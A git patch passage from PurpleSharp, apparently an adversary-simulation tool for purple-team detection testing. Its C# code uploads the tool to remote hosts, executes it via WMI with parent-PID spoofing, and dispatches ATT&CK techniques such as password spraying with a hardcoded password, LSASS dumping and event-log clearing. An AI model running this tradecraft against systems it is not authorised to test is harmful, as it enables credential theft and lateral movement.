playbook.simulator_relative_path.LastIndexOf(@"\"); + string simrfolder = playbook.simulator_relative_path.Substring(0, index2 + 1); + + string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; + + //Console.WriteLine("[+] Uploading Simulator to " + simfpath); + RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); + + //Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); + sim_request = new SimulationRequest2("ACT"); + result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); + + System.Threading.Thread.Sleep(5000); + bool finished = false; + int counter = 1; + string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + while (finished == false) + { + if (results.Split('\n').Last().Contains("Playbook Finished")) + { + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + RemoteLauncher.delete(playbook.scout_full_path, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); + finished = true; + } + else + { + Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); + Thread.Sleep(counter * 10 * 1000); + results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + } + counter += 1; + } + return Json.GetPlaybookResult(results); + + } + } + else + { + //Console.WriteLine("[!] Could not connect to namedpipe service"); + return null; + } + } + else + { + //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); + RemoteLauncher.upload(uploadPath, playbook.scout_full_path, rhost, ruser, rpwd, domain); + + string cmdline = "/t ";// + techniques; + //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); + RemoteLauncher.wmiexec(rhost, playbook.scout_full_path, cmdline, domain, ruser, rpwd); + Thread.Sleep(3000); + Console.WriteLine("[+] Obtaining results..."); + string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + //Console.WriteLine("[+] Cleaning up..."); + //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + RemoteLauncher.delete(playbook.scout_full_path, rhost, ruser, rpwd, domain); + // + //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + + return Json.GetPlaybookResult(results); + } + } + public static void ExecuteTechnique(string technique, int variation, int nuser, int nhosts, int tsleep, string log, bool cleanup) { var rand = new Random(); @@ -1404,6 +1563,271 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, } } + + public static void ExecuteTechnique2(PlaybookTask task, string log) + { + var rand = new Random(); + + switch (task.technique) + { + //// Initial Access //// + + //// Execution //// + + case "T1059.001": + if (task.variation == 1) Simulations.Execution.ExecutePowershellCmd(log); + else Simulations.Execution.ExecutePowershellNET(log); + break; + + case "T1059.003": + Simulations.Execution.WindowsCommandShell(log); + break; + + + case "T1059.005": + Simulations.Execution.VisualBasic(log); + break; + + case "T1059.007": + Simulations.Execution.JScript(log); + break; + + case "T1569.002": + Simulations.Execution.ServiceExecution(log); + break; + + + //T1021.006 - Windows Remote Management + + //// Persistence //// + + //T1053.005 - Scheduled Task + + case "T1053.005": + Simulations.Persistence.CreateScheduledTaskCmd(log, task.cleanup); + break; + + case "T1136.001": + if (task.variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, task.cleanup); + else Simulations.Persistence.CreateLocalAccountCmd(log, task.cleanup); + break; + + case "T1543.003": + if (task.variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, task.cleanup); + else Simulations.Persistence.CreateWindowsServiceCmd(log, task.cleanup); + break; + + case "T1547.001": + if (task.variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, task.cleanup); + else Simulations.Persistence.CreateRegistryRunKeyCmd(log, task.cleanup); + break; + + case "T1546.003": + Simulations.Persistence.WMIEventSubscription(log, task.cleanup); + break; + + //// Privilege Escalation //// + + //T1543.003 - New Service + + //T1053.005 - Scheduled Task + + //// Defense Evasion //// + + case "T1218.010": + Simulations.DefenseEvasion.Regsvr32(log); + break; + + case "T1218.009": + Simulations.DefenseEvasion.RegsvcsRegasm(log); + break; + + case "T1218.004": + Simulations.DefenseEvasion.InstallUtil(log); + break; + + case "T1140": + Simulations.DefenseEvasion.DeobfuscateDecode(log); + break; + + case "T1218.005": + Simulations.DefenseEvasion.Mshta(log); + break; + + case "T1218.003": + Simulations.DefenseEvasion.Csmtp(log); + break; + + case "T1197": + Simulations.DefenseEvasion.BitsJobs(log); + break; + + case "T1218.011": + Simulations.DefenseEvasion.Rundll32(log); + break; + + case "T1070.001": + if (task.variation == 1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); + else Simulations.DefenseEvasion.ClearSecurityEventLogCmd(log); + + break; + + case "T1220": + Simulations.DefenseEvasion.XlScriptProcessing(log); + break; + + case "T1055.002": + Simulations.DefenseEvasion.PortableExecutableInjection(log); + break; + + case "T1055.003": + Simulations.DefenseEvasion.ThreadHijack(log); + break; + + case "T1055.004": + Simulations.DefenseEvasion.AsynchronousProcedureCall(log); + break; + + case "T1134.004": + Simulations.DefenseEvasion.ParentPidSpoofing(log); + break; + + + + //T1218.010 - Regsvr32 + + + //// Credential Access //// + + //T1110.003 - Brute Force + case "T1110.003": + string password = "Summer2020"; + if (task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(task.target_users, task.task_sleep, password, log); + else Simulations.CredAccess.RemotePasswordSpray(task.target_hosts, task.target_users, task.task_sleep, password, log); + + break; + + //T1558.003 - Kerberoasting + case "T1558.003": + Simulations.CredAccess.Kerberoasting(log, task.task_sleep); + break; + + //T1003.001 - LSASS Memory + case "T1003.001": + Simulations.CredAccess.LsassMemoryDump(log); + break; + + //// Discovery //// + + //T1016 System Network Configuration Discovery + case "T1016": + Simulations.Discovery.SystemNetworkConfigurationDiscovery(log); + break; + + //T1083 File and Directory Discovery + case "T1083": + Simulations.Discovery.FileAndDirectoryDiscovery(log); + break; + + //T1135 - Network Share Discovery + case "T1135": + Simulations.Discovery.EnumerateShares(task.target_hosts, task.task_sleep, log); + break; + + //T1046 - Network Service Scanning + case "T1046": + Simulations.Discovery.NetworkServiceDiscovery(task.target_hosts, task.task_sleep, log); + break; + + case "T1087.001": + Simulations.Discovery.LocalAccountDiscoveryCmd(log); + break; + + case "T1087.002": + if (task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryLdap(log); + else Simulations.Discovery.DomainAccountDiscoveryCmd(log); + break; + + case "T1007": + Simulations.Discovery.SystemServiceDiscovery(log); + break; + + case "T1033": + Simulations.Discovery.SystemUserDiscovery(log); + break; + + case "T1049": + Simulations.Discovery.SystemNetworkConnectionsDiscovery(log); + break; + + case "T1482": + Simulations.Discovery.DomainTrustDiscovery(log); + break; + + case "T1201": + Simulations.Discovery.PasswordPolicyDiscovery(log); + break; + + case "T1069.001": + Simulations.Discovery.LocalGroups(log); + break; + + case "T1069.002": + Simulations.Discovery.DomainGroups(log); + break; + + case "T1012": + Simulations.Discovery.QueryRegistry(log); + break; + + case "T1518.001": + Simulations.Discovery.SecuritySoftwareDiscovery(log); + break; + + case "T1082": + Simulations.Discovery.SystemInformationDiscovery(log); + break; + + case "T1124": + Simulations.Discovery.SystemTimeDiscovery(log); + break; + + //// Lateral Movement //// + + //T1021.006 - Windows Remote Management + case "T1021.006": + Simulations.LateralMovement.WinRmCodeExec(task.target_hosts, task.task_sleep, log); + break; + + //T1021 - Remote Service + case "T1021": + Simulations.LateralMovement.CreateRemoteServiceOnHosts(task.target_hosts, task.task_sleep, task.cleanup, log); + break; + + //T1047 - Windows Management Instrumentation + case "T1047": + Simulations.LateralMovement.ExecuteWmiOnHosts(task.target_hosts, task.task_sleep, log); + break; + + // Collection + + // Command and Control + + // Exfiltration + + // Impact + + // Other Techniques + + case "privenum": + Simulations.Discovery.PrivilegeEnumeration(task.target_hosts, task.task_sleep, log); + break; + + default: + break; + + } + } public static void ExecuteTechniques(string technique, int variation, int nuser, int nhosts, int pbsleep, int tsleep, string log, bool cleanup) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; @@ -1426,5 +1850,17 @@ public static void ExecuteTechniques(string technique, int variation, int nuser, } } + public static void ExecuteTechniques2(SimulationPlaybook playbook, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + foreach (PlaybookTask task in playbook.tasks) + { + ExecuteTechnique2(task, log); + if (playbook.playbook_sleep > 0 ) Thread.Sleep(1000 * playbook.playbook_sleep); + logger.TimestampInfo("Playbook Finished"); + } + } + } } \ No newline at end of file From 29270cde07883c5c94ce3a4006c51899887be6be Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sun, 28 Mar 2021 02:27:29 -0400 Subject: [PATCH 06/20] serialized namedpipe communications working and tested. --- PurpleSharp/Lib/Json.cs | 8 +- PurpleSharp/Lib/NamedPipes.cs | 146 +---------- PurpleSharp/Program.cs | 476 ++-------------------------------- 3 files changed, 28 insertions(+), 602 deletions(-) diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index 64f0eb3..30aff98 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -23,7 +23,6 @@ public class SimulationPlaybook public string scout_full_path { get; set; } public string simulator_relative_path { get; set; } public int playbook_sleep { get; set; } - public int tsleep { get; set; } public string remote_host { get; set; } public string opsec { get; set; } = "ppid"; public List tasks { get; set; } @@ -33,7 +32,7 @@ public class PlaybookTask { public string technique { get; set; } public int variation { get; set; } = 1; - public int task_sleep { get; set; } = 1; + public int task_sleep { get; set; } = 0; public bool cleanup { get; set; } = true; public int target_users { get; set; } = 10; public int target_hosts { get; set; } = 10; @@ -42,9 +41,12 @@ public PlaybookTask() { } - public PlaybookTask(string tech) + public PlaybookTask(string tech, int var, int t_sleep, bool cl = true) { technique = tech; + variation = var; + task_sleep = t_sleep; + cleanup = cleanup; } } diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 8029ac6..8ee5b6b 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -213,7 +213,6 @@ public static void RunScoutService(string scout_np, string simulator_np, string } } - public static void RunScoutServiceSerialized(string scout_np, string simulator_np, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; @@ -221,126 +220,9 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n bool running = true; bool privileged = false; - string technique, opsec, simpfath, duser, user, simbinary, cleanup; - technique = opsec = simpfath = duser = user = simbinary = cleanup = ""; + string duser, simulator_full_path, user, simulator_binary; + duser = simulator_full_path = user = simulator_binary = ""; Process parentprocess = null; - int pbsleep, tsleep, variation; - pbsleep = tsleep = 0; - variation = 1; - SimulationRequestPayload s_payload = null; - Thread.Sleep(1500); - - try - { - using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) - { - - logger.TimestampInfo("Starting scout namedpipe service with PID:" + Process.GetCurrentProcess().Id); - while (running) - { - SimulationResponse sim_response; - logger.TimestampInfo("Waiting for client connection..."); - pipeServer.WaitForConnection(); - logger.TimestampInfo("Client connected."); - var messageBytes = ReadMessage(pipeServer); - var line = Encoding.UTF8.GetString(messageBytes); - logger.TimestampInfo("Received from client: " + line); - SimulationRequest sim_request = JsonConvert.DeserializeObject(line); - - if (sim_request.header.Equals("SYN")) - { - logger.TimestampInfo("Received SYN"); - s_payload = sim_request.sim_request_payload; - ReconResponse recon_response; - if (sim_request.sim_request_payload.recon_type.Equals("privileged")) privileged = true; - parentprocess = Recon.GetHostProcess(privileged); - if (parentprocess != null && Recon.GetExplorer() != null) - { - duser = Recon.GetProcessOwnerWmi(Recon.GetExplorer()); - recon_response = new ReconResponse(duser, parentprocess.ProcessName, parentprocess.Id.ToString(), privileged.ToString()); - user = duser.Split('\\')[1]; - logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); - } - else - { - recon_response = new ReconResponse("", "", "", ""); - logger.TimestampInfo("Recon did not identify any logged users"); - } - - simpfath = "C:\\Users\\" + user + "\\" + sim_request.sim_request_payload.simulator_rpath; - int index = sim_request.sim_request_payload.simulator_rpath.LastIndexOf(@"\"); - simbinary = sim_request.sim_request_payload.simulator_rpath.Substring(index + 1); - - sim_response = new SimulationResponse("SYN/ACK", recon_response); - byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); - pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); - logger.TimestampInfo(String.Format("Sent SimulationResponse object")); - - } - else if (sim_request.header.Equals("ACT")) - { - - logger.TimestampInfo("Received ACT"); - if (s_payload.opsec.Equals("ppid")) - { - - logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); - logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); - logger.TimestampInfo("Executing: " + simpfath + " /n"); - //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); - //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); - - Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); - //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); - - logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); - - byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", s_payload))); - string result = NamedPipes.RunNoAuthClientSerialized(simulator_np, bytes_sim_rqeuest); - logger.TimestampInfo("Received back from Simulator " + result); - - } - - sim_response = new SimulationResponse("ACK"); - byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); - pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); - logger.TimestampInfo(String.Format("Sent SimulationResponse object 2")); - running = false; - - } - else if (sim_request.header.Equals("FIN")) - { - logger.TimestampInfo("Received a FIN command"); - sim_response = new SimulationResponse("ACK"); - byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); - pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); - running = false; - } - - pipeServer.Disconnect(); - } - } - } - catch (Exception ex) - { - logger.TimestampInfo(ex.ToString()); - logger.TimestampInfo(ex.Message.ToString()); - } - } - - public static void RunScoutServiceSerialized2(string scout_np, string simulator_np, string log) - { - string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Logger logger = new Logger(currentPath + log); - bool running = true; - bool privileged = false; - - string technique, opsec, simpfath, duser, user, simbinary, cleanup; - technique = opsec = simpfath = duser = user = simbinary = cleanup = ""; - Process parentprocess = null; - int pbsleep, tsleep, variation; - pbsleep = tsleep = 0; - variation = 1; SimulationPlaybook PlaybookToSend = null; Thread.Sleep(1500); @@ -381,9 +263,9 @@ public static void RunScoutServiceSerialized2(string scout_np, string simulator_ logger.TimestampInfo("Recon did not identify any logged users"); } - simpfath = "C:\\Users\\" + user + "\\" + sim_request.playbook.simulator_relative_path; + simulator_full_path = "C:\\Users\\" + user + "\\" + sim_request.playbook.simulator_relative_path; int index = sim_request.playbook.simulator_relative_path.LastIndexOf(@"\"); - simbinary = sim_request.playbook.simulator_relative_path.Substring(index + 1); + simulator_binary = sim_request.playbook.simulator_relative_path.Substring(index + 1); sim_response = new SimulationResponse("SYN/ACK", recon_response); byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); @@ -393,18 +275,17 @@ public static void RunScoutServiceSerialized2(string scout_np, string simulator_ } else if (sim_request.header.Equals("ACT")) { - logger.TimestampInfo("Received ACT"); if (PlaybookToSend.opsec.Equals("ppid")) { logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); - logger.TimestampInfo("Executing: " + simpfath + " /n"); + logger.TimestampInfo("Executing: " + simulator_full_path + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); - Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); + Launcher.SpoofParent(parentprocess.Id, simulator_full_path, simulator_binary + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); //logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); @@ -510,8 +391,7 @@ public static string[] RunSimulationService(string npipe, string log) public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, string log) { - string[] result = new string[5]; - SimulationPlaybook playbook = null; + SimulationPlaybook playbook = new SimulationPlaybook(); string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); try @@ -521,7 +401,6 @@ public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, st ps.SetAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow)); logger.TimestampInfo("starting Simulator!"); - string technique, pbsleep, tsleep, cleanup, variation; using (var pipeServer = new NamedPipeServerStream(npipe, PipeDirection.InOut, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 4028, 4028, ps)) { @@ -535,20 +414,9 @@ public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, st SimulationRequest2 sim_request = JsonConvert.DeserializeObject(line); playbook = sim_request.playbook; - - /* - result[0] = sim_request.sim_request_payload.techniques; - result[1] = sim_request.sim_request_payload.variation; - result[2] = sim_request.sim_request_payload.playbook_sleep; - result[3] = sim_request.sim_request_payload.task_sleep; - result[4] = sim_request.sim_request_payload.cleanup; - */ - sim_response = new SimulationResponse("ACK"); byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); - - pipeServer.Disconnect(); return playbook; } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 3207577..f78c00e 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -179,7 +179,7 @@ public static void Main(string[] args) if (scoutservice) { //NamedPipes.RunScoutService(scout_np, simulator_np, log); - NamedPipes.RunScoutServiceSerialized2(scout_np, simulator_np, log); + NamedPipes.RunScoutServiceSerialized(scout_np, simulator_np, log); return; } if (simservice) @@ -191,7 +191,7 @@ public static void Main(string[] args) //ExecuteTechniques(sim_payload.techniques, Int32.Parse(sim_payload.variation), nusers, nhosts, Int32.Parse(sim_payload.playbook_sleep), Int32.Parse(sim_payload.task_sleep), log, bool.Parse(sim_payload.cleanup)); SimulationPlaybook playbook = NamedPipes.RunSimulationServiceSerialized(simulator_np, log); - ExecuteTechniques2(playbook, log); + ExecutePlaybook(playbook, log); return; } @@ -319,7 +319,7 @@ public static void Main(string[] args) PlaybookTask lastTask = playbook.tasks.Last(); foreach (PlaybookTask task in playbook.tasks) { - ExecuteTechnique(task.technique, task.variation, 10, nhosts, tsleep, log, cleanup); + ExecutePlaybookTechnique(task, log); if (playbook.playbook_sleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.playbook_sleep); } logger.TimestampInfo("Playbook Finished"); @@ -328,7 +328,6 @@ public static void Main(string[] args) string output_file = pb_file.Replace(".json", "") + "_results.json"; SimulationExerciseResult simulationresults = Json.GetSimulationExerciseResult(results); Json.WriteJsonSimulationResults(simulationresults, output_file); - } else if (engagement.type.Equals("remote")) @@ -368,7 +367,7 @@ public static void Main(string[] args) Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); //playbookResults = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); //playbookResults = ExecuteRemoteTechniquesJsonSerialized(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.playbook_sleep, playbook.tsleep, playbook.scout_full_path, scout_np, playbook.simulator_relative_path, log, true, false); - playbookResults = ExecuteRemoteTechniquesJsonSerialized2(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } @@ -379,7 +378,7 @@ public static void Main(string[] args) { Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); //playbookResults = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false); - playbookResults = ExecuteRemoteTechniquesJsonSerialized2(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } @@ -425,7 +424,6 @@ public static void Main(string[] args) } if (!rhost.Equals("random")) { - //ExecuteRemoteTechniques(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); ExecuteRemoteTechniquesSerialized(rhost, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } @@ -440,7 +438,6 @@ public static void Main(string[] args) var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); - //ExecuteRemoteTechniques(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); ExecuteRemoteTechniquesSerialized(targets[index].Fqdn, domain, ruser, rpwd, techniques, variation, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup); return; } @@ -469,11 +466,10 @@ public static void Main(string[] args) //Local simulations with command line parameters else if (!techniques.Equals("")) { - ExecuteTechniques(techniques, variation, nusers, nhosts, pbsleep, tsleep, log, cleanup); + ExecutePlaybookOld(techniques, variation, nusers, nhosts, pbsleep, tsleep, log, cleanup); } } - public static void Scout(string rhost, string domain, string ruser, string rpwd, string scoutfpath, string log, string scout_action, string scout_np, bool verbose) { List actions = new List() { "all", "wef", "pws", "ps", "svcs", "auditpol", "cmdline" }; @@ -559,181 +555,6 @@ public static void Scout(string rhost, string domain, string ruser, string rpwd, RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); } } - - public static void ExecuteRemoteTechniques(string rhost, string domain, string ruser, string rpwd, string techniques, int variation, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string simulator_np, string log, bool opsec, bool verbose, bool cleanup) - { - // techniques that need to be executed from a high integrity process - string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; - - if (rpwd == "") - { - Console.Write("Password for {0}\\{1}: ", domain, ruser); - rpwd = Utils.GetPassword(); - Console.WriteLine(); - } - - string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); - - System.Threading.Thread.Sleep(3000); - - if (opsec) - { - string result = ""; - string args = "/o"; - - Console.WriteLine("[+] Uploading and executing the Scout on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":","$")); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); - Console.WriteLine("[+] Connecting to the Scout ..."); - - result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - if (result.Equals("SYN/ACK")) - { - Console.WriteLine("[+] OK"); - - if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); - else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); - - string[] payload = result.Split(','); - string duser = payload[0]; - - - if (duser == "") - { - Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - Thread.Sleep(1000); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - Console.WriteLine("[!] Exitting."); - return; - } - else - { - string user = duser.Split('\\')[1]; - //Console.WriteLine("[+] Sending simulator binary..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); - //Console.WriteLine("[+] Sending technique ..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); - //Console.WriteLine("[+] Sending variation..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "variation:" + variation.ToString()); - //Console.WriteLine("[+] Sending opsec techqniue..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); - //Console.WriteLine("[+] Sending sleep..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); - if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); - else NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:False"); - - - Console.WriteLine("[!] Recon -> " + String.Format("Identified logged user: {0}", duser)); - string simfpath = "C:\\Users\\" + user + "\\" + simrpath; - int index2 = simrpath.LastIndexOf(@"\"); - string simrfolder = simrpath.Substring(0, index2 + 1); - - string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; - - Console.WriteLine("[+] Uploading Simulator to " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); - RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); - - Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", payload[1], payload[2], payload[3] ); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - - if (verbose) - { - Console.WriteLine("[+] Grabbing the Scout output..."); - System.Threading.Thread.Sleep(1000); - string sresults = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(sresults); - } - Thread.Sleep(5000); - bool finished = false; - int counter = 1; - string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - while (finished == false) - { - - if (results.Split('\n').Last().Contains("Playbook Finished")) - { - //Console.WriteLine("[+] Obtaining the Simulator output..."); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - Console.WriteLine(); - Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); - RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (simfolder + log).Replace(":", "$")); - RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); - finished = true; - } - else - { - Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); - Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - } - counter += 1; - } - } - } - else - { - Console.WriteLine("[!] Could not connect to namedpipe service"); - Console.WriteLine("[!] Exitting."); - return; - } - } - else - { - Console.WriteLine("[+] Uploading and executing the Simulator on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.wmiexec(rhost, scoutfpath, "/s", domain, ruser, rpwd); - Thread.Sleep(2000); - if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " 